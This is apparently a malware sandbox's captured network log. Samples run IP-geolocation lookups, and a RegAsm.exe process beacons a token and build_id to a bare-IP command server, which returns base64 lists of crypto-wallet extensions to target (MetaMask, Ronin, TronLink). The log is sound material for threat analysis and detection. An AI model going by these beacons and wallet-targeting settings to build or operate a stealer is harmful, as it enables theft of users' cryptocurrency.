2024-05-24 07:42:31 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBFCAKKKFBGDGCAKFCFH User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 07:42:31 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 42 46 43 41 4b 4b 4b 46 42 47 44 47 43 41 4b 46 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 37 63 36 33 30 35 38 36 63 31 61 36 36 36 38 62 30 61 38 38 61 62 64 63 37 62 65 61 62 32 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 41 4b 4b 4b 46 42 47 44 47 43 41 4b 46 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 32 31 62 34 35 61 34 33 32 38 38 39 61 66 36 35 61 61 30 35 63 64 36 36 39 32 30 64 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 41 4b 4b 4b 46 42 47 44 47 43 41 4b 46 43 46 48 0d 0a 43 6f 6e 74 Data Ascii: ------FBFCAKKKFBGDGCAKFCFHContent-Disposition: form-data; name="token"f87c630586c1a6668b0a88abdc7beab2------FBFCAKKKFBGDGCAKFCFHContent-Disposition: form-data; name="build_id"c21b45a432889af65aa05cd66920d0a2------FBFCAKKKFBGDGCAKFCFHCont
2024-05-24 07:42:32 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:42:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 07:42:32 UTC	5605	IN	Data Raw: 31 35 64 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 15d8TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49824	34.117.186.192	443	6832	C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:31 UTC	237	OUT	GET /widget/demo/8.46.123.175 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: ipinfo.io
2024-05-24 07:42:32 UTC	514	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Fri, 24 May 2024 07:42:31 GMT content-type: application/json; charset=utf-8 Content-Length: 1028 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 2 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 07:42:32 UTC	876	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 31 37 35 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 Data Ascii: { "input": "8.46.123.175", "data": { "ip": "8.46.123.175", "hostname": "static-cpe-8-46-123-175.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Lev
2024-05-24 07:42:32 UTC	152	IN	Data Raw: 20 20 22 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 40 61 75 70 2e 6c 75 6d 65 6e 2e 63 6f 6d 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 43 65 6e 74 75 72 79 6c 69 6e 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: "email": "abuse@aup.lumen.com", "name": "Centurylink Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49825	172.67.75.166	443	6832	C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:32 UTC	261	OUT	GET /demo/home.php?s=8.46.123.175 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: db-ip.com
2024-05-24 07:42:33 UTC	656	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:32 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: A29E9B94:E502_93878F2E:0050_665044E8_EEE38E3:4F34 x-iplb-instance: 59215 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pGMpZuQIBVE2YcpXcKhM%2BX09lS%2BkkNY7fAVSma7jmUxZMPBTJ14Z9Tcb%2BGFOehJ%2F5JYE0rlK4hPv342xVh3fQm5i3ifuufk8Ou6j8OBMrCx5hL4Qjwrov3ziUw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba64fcbe14327-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:42:33 UTC	674	IN	Data Raw: 32 39 62 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 69 70 41 64 64 72 65 73 73 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 22 63 6f 6e 74 69 6e 65 6e 74 43 6f 64 65 22 3a 22 4e 41 22 2c 22 63 6f 6e 74 69 6e 65 6e 74 4e 61 6d 65 22 3a 22 4e 6f 72 74 68 20 41 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 4e 61 6d 65 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 69 73 45 75 4d 65 6d 62 65 72 22 3a 66 61 6c 73 65 2c 22 63 75 72 72 65 6e 63 79 43 6f 64 65 22 3a 22 55 53 44 22 2c 22 63 75 72 72 65 6e 63 79 4e 61 6d 65 22 3a 22 44 6f 6c 6c 61 72 22 2c 22 70 68 6f 6e 65 50 72 65 66 69 78 22 3a 22 31 22 2c 22 6c 61 6e 67 75 61 67 65 73 22 3a Data Ascii: 29b{"status":"ok","demoInfo":{"ipAddress":"8.46.123.175","continentCode":"NA","continentName":"North America","countryCode":"US","countryName":"United States","isEuMember":false,"currencyCode":"USD","currencyName":"Dollar","phonePrefix":"1","languages":
2024-05-24 07:42:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49828	34.117.186.192	443	3004	C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:33 UTC	237	OUT	GET /widget/demo/8.46.123.175 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: ipinfo.io
2024-05-24 07:42:33 UTC	514	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Fri, 24 May 2024 07:42:33 GMT content-type: application/json; charset=utf-8 Content-Length: 1028 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 1 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 07:42:33 UTC	876	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 31 37 35 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 Data Ascii: { "input": "8.46.123.175", "data": { "ip": "8.46.123.175", "hostname": "static-cpe-8-46-123-175.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Lev
2024-05-24 07:42:33 UTC	152	IN	Data Raw: 20 20 22 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 40 61 75 70 2e 6c 75 6d 65 6e 2e 63 6f 6d 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 43 65 6e 74 75 72 79 6c 69 6e 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: "email": "abuse@aup.lumen.com", "name": "Centurylink Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49826	78.47.123.174	443	5868	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:33 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIDHCFBAKFBGDGDHJKJJ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 07:42:33 UTC	332	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 49 44 48 43 46 42 41 4b 46 42 47 44 47 44 48 4a 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 37 63 36 33 30 35 38 36 63 31 61 36 36 36 38 62 30 61 38 38 61 62 64 63 37 62 65 61 62 32 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 48 43 46 42 41 4b 46 42 47 44 47 44 48 4a 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 32 31 62 34 35 61 34 33 32 38 38 39 61 66 36 35 61 61 30 35 63 64 36 36 39 32 30 64 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 48 43 46 42 41 4b 46 42 47 44 47 44 48 4a 4b 4a 4a 0d 0a 43 6f 6e 74 Data Ascii: ------FIDHCFBAKFBGDGDHJKJJContent-Disposition: form-data; name="token"f87c630586c1a6668b0a88abdc7beab2------FIDHCFBAKFBGDGDHJKJJContent-Disposition: form-data; name="build_id"c21b45a432889af65aa05cd66920d0a2------FIDHCFBAKFBGDGDHJKJJCont
2024-05-24 07:42:34 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:42:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 07:42:34 UTC	119	IN	Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49836	172.67.75.166	443	3004	C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:34 UTC	261	OUT	GET /demo/home.php?s=8.46.123.175 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: db-ip.com
2024-05-24 07:42:34 UTC	664	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:34 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: A29E9EB6:A9D0_93878F2E:0050_665044EA_EEE390F:4F34 x-iplb-instance: 59215 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yjx9bEQMjc6ptKGl7Yt1%2BmnEY85fvzPSd5I%2Ft%2BMEoZkA24K5vZpooACqj5%2FYCcVH%2BqPcKqSG%2FxY7W2gR7Z5yMGFDQZfbOo20UC6Eq5wx8R%2BXCKB7oUaum%2FFiSg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba65a599f42d8-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:42:34 UTC	674	IN	Data Raw: 32 39 62 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 69 70 41 64 64 72 65 73 73 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 22 63 6f 6e 74 69 6e 65 6e 74 43 6f 64 65 22 3a 22 4e 41 22 2c 22 63 6f 6e 74 69 6e 65 6e 74 4e 61 6d 65 22 3a 22 4e 6f 72 74 68 20 41 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 4e 61 6d 65 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 69 73 45 75 4d 65 6d 62 65 72 22 3a 66 61 6c 73 65 2c 22 63 75 72 72 65 6e 63 79 43 6f 64 65 22 3a 22 55 53 44 22 2c 22 63 75 72 72 65 6e 63 79 4e 61 6d 65 22 3a 22 44 6f 6c 6c 61 72 22 2c 22 70 68 6f 6e 65 50 72 65 66 69 78 22 3a 22 31 22 2c 22 6c 61 6e 67 75 61 67 65 73 22 3a Data Ascii: 29b{"status":"ok","demoInfo":{"ipAddress":"8.46.123.175","continentCode":"NA","continentName":"North America","countryCode":"US","countryName":"United States","isEuMember":false,"currencyCode":"USD","currencyName":"Dollar","phonePrefix":"1","languages":
2024-05-24 07:42:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49837	34.117.186.192	443	2484	C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:36 UTC	237	OUT	GET /widget/demo/8.46.123.175 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: ipinfo.io
2024-05-24 07:42:36 UTC	514	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Fri, 24 May 2024 07:42:36 GMT content-type: application/json; charset=utf-8 Content-Length: 1028 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 3 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 07:42:36 UTC	876	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 31 37 35 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 Data Ascii: { "input": "8.46.123.175", "data": { "ip": "8.46.123.175", "hostname": "static-cpe-8-46-123-175.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Lev
2024-05-24 07:42:36 UTC	152	IN	Data Raw: 20 20 22 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 40 61 75 70 2e 6c 75 6d 65 6e 2e 63 6f 6d 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 43 65 6e 74 75 72 79 6c 69 6e 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: "email": "abuse@aup.lumen.com", "name": "Centurylink Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49841	172.67.75.166	443	2484	C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:37 UTC	261	OUT	GET /demo/home.php?s=8.46.123.175 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: db-ip.com
2024-05-24 07:42:37 UTC	658	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:37 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: A29E9A18:4D1E_93878F2E:0050_665044ED_EEE397A:4F34 x-iplb-instance: 59215 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GXV84G3bzr2b%2Bc4IxT%2Bpxny0jX2zD9scrLTYbKgj3QkTPIWLcGoLLQCyBkyUO0k5IHBCR1P07NuMq7WlMPVxjMfVi1Y5dQBearO%2BCEfCqVpKl%2B%2BTLqzPSR9YoQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba66cdce343df-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:42:37 UTC	85	IN	Data Raw: 34 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 65 72 72 6f 72 22 3a 22 6f 76 65 72 20 71 75 65 72 79 20 6c 69 6d 69 74 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 22 7d 7d 0d 0a Data Ascii: 4f{"status":"ok","demoInfo":{"error":"over query limit, please try again later"}}
2024-05-24 07:42:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49849	172.67.75.163	443	7092	C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:39 UTC	187	OUT	GET / HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: api.myip.com
2024-05-24 07:42:40 UTC	567	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tgYFH7ILFVCbcTUoIea%2BsPgw6ODhBM8SH95XJll4jyahQvJZW%2FcmIIoTdT%2B0DL9j3oFrIbhgWHNg%2BuOO29ORMTgzYswd7nUXZzSdkSZQiKWfdA6I4nOtrViso397hA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba67c18bf8c65-EWR
2024-05-24 07:42:40 UTC	63	IN	Data Raw: 33 39 0d 0a 7b 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 63 63 22 3a 22 55 53 22 7d 0d 0a Data Ascii: 39{"ip":"8.46.123.175","country":"United States","cc":"US"}
2024-05-24 07:42:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49852	34.117.186.192	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:41 UTC	237	OUT	GET /widget/demo/8.46.123.175 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: ipinfo.io
2024-05-24 07:42:41 UTC	514	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Fri, 24 May 2024 07:42:41 GMT content-type: application/json; charset=utf-8 Content-Length: 1028 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 2 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 07:42:41 UTC	876	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 31 37 35 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 Data Ascii: { "input": "8.46.123.175", "data": { "ip": "8.46.123.175", "hostname": "static-cpe-8-46-123-175.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Lev
